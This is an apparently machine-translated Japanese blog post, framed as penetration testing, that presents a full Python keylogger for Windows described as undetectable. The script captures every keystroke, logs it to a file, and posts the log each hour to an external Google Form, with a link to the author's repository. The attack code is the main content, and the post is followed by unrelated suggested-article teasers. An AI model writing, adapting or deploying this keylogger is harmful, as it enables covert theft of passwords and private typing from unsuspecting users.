Python 侵入テスト: 箱から出してください!

検出不可能な Windows キーロガーを作成し、外部の Google フォームにデータを送信する

R・エリック・カイザー

組織で侵入テストを成功させるには、承認されたソフトウェアとデータ転送への正当なアクセスを採用することをお勧めします。そうすることで、発見されるリスクを大幅に減らすことができます。この記事では、攻撃者が交戦中に使用していることを観察した方法と、その後の交戦でその手法を改善するために私が行った変更について概説します。スクリプトは、使用されている特定の環境に合わせてカスタマイズする必要がある場合があることに注意してください。

この方法を最初に採用した攻撃者は、放棄された公開フォームを利用して、外部アクセス用にキーロガーの結果をオンラインに投稿しました。この事件は、データ侵害を回避するために、またはこの場合、無意識のうちにデータ侵害を収容するために、期限切れの情報を削除することの重要性を強調しています。多くの組織は、この重要な側面を見落とし、定期的なデータ メンテナンスの必要性を認識せずに運用を続けています。これは、データ ライフサイクルを作成することが重要である理由の良い例ですが、余談になります。

では、脚本の執筆に入ります。いつものように、最初のステップはモジュールをインポートすることです。このスクリプトには 6 つのモジュールが必要です。サブプロセス、sys、os、時間、リクエスト、およびキーボード。

import subprocess
import sys
import os
import time
import requests
import keyboard

def install_dependency(package):
    subprocess.check_call([sys.executable, "-m", "pip", "install", package])

try:
    import keyboard
except ImportError:
    install_dependency("keyboard")
    import keyboard

try:
    import requests
except ImportError:
    install_dependency("requests")
    import requests

path = 'keyboard_Input.txt'
keyboard_Input = []
count = 0

# Update these with your Google Form's action URL and entry IDs
form_url = "https://docs.google.com/forms/your_form_id/formResponse"
entry_id = "entry.your_entry_id"

def on_press(e):
    global keyboard_Input, count
    keyboard_Input.append(e.name)
    count += 1

    if count > 0:
        count = 0
        write_to_file(keyboard_Input)
        keyboard_Input = []

def write_to_file(keys):
    with open(path, 'a') as file:
        for key in keyboard_Input:
            write_down = str(key).replace("'", "")
            if write_down.find('backspace') > 0:
                file.write(' *BACKSPACE* ')
            elif write_down.find('shift') > 0:
                file.write(' *SHIFT* ')
            elif write_down.find('enter') > 0:
                file.write('\n')
            elif write_down.find('space') > 0:
                file.write(' ')
            elif write_down.find('Key'):
                file.write(write_down)

def send_data_to_google_form():
    with open(path, 'r') as file:
        data = file.read()
        if data:
            payload = {entry_id: data}
            response = requests.post(form_url, data=payload)
            if response.status_code == 200:
                print("Data sent successfully")
                with open(path, 'w') as file:
                    file.truncate()
            else:
                print("Failed to send data")

keyboard.on_press(on_press)

while True:
    time.sleep(3600)  # Wait for 1 hour (3600 seconds)
    send_data_to_google_form()

Python-Pentesting GitHub リポジトリ:
https://github.com/R-Eric-Kiser/python-pentesting/blob/main/keyloggerGoogleForm.py

提案された投稿

ドメイン名に関する情報の検索

Brian P. Hogan 著『Small, Sharp Software Tools』からの抜粋

ドメイン名に関する情報の検索

facebook.com にリクエストを送信すると、コンピュータはドメイン名を検索してそのドメイン名を IP アドレスに変換し、コンピュータが接続できるようにします。

脅威ハンティングのための OSINT の収集

脅威ハンティングのための OSINT の収集

サイバー愛好家の皆さん、こんにちは!OSINT for Threat Hunting シリーズへようこそ。最初の記事では、OSINT の概要と脅威ハンティングにおけるその重要性について説明しました。

関連記事

ネットワークテレビツイッター

ネットワークテレビツイッター

古いものは再び新しくなり、以前はキラキラ輝いていたものがくすんで見えます。私は、JNCO ジーンズが 1990 年代後半の他のファッションとともにダウンタウンのクールな子供たちの間で復活したことについて話しているのではありません。

「マリアナ海溝の公開: 深淵の恐るべき隠された真実を明らかにする」

「マリアナ海溝の公開: 深淵の恐るべき隠された真実を明らかにする」

はじめに:勇敢な読者の皆さん、地球の最も暗い深みへ私たちを導く旅へようこそ。このブログでは、マリアナ海溝の謎に満ちた世界を掘り下げ、その隠された秘密を明らかにし、その表面の下にある骨も凍るような真実を明らかにします。

職場革命: 一流の専門家がハイブリッド ワークとリモート ワークについて語る

職場革命: 一流の専門家がハイブリッド ワークとリモート ワークについて語る

今日の急速に進化するビジネス環境において、ハイブリッドおよびリモートワークの概念は前例のない勢いを増しています。企業が従業員のニーズや期待の変化に適応し続ける中、さまざまな分野の専門家が集まり、この変革的な働き方のメリット、課題、将来について議論しています。

Goodreads の読書チャレンジは有毒です

Goodreads の読書チャレンジは有毒です

地元の書店ともう一冊の本を求めて交渉していると、手のかゆみが広がった。この本は、最近購入した残りの本と同様に、私の「読みたい本」(TBR)の山の中でその王座を見つけることになります。それでも、買ってしまいました。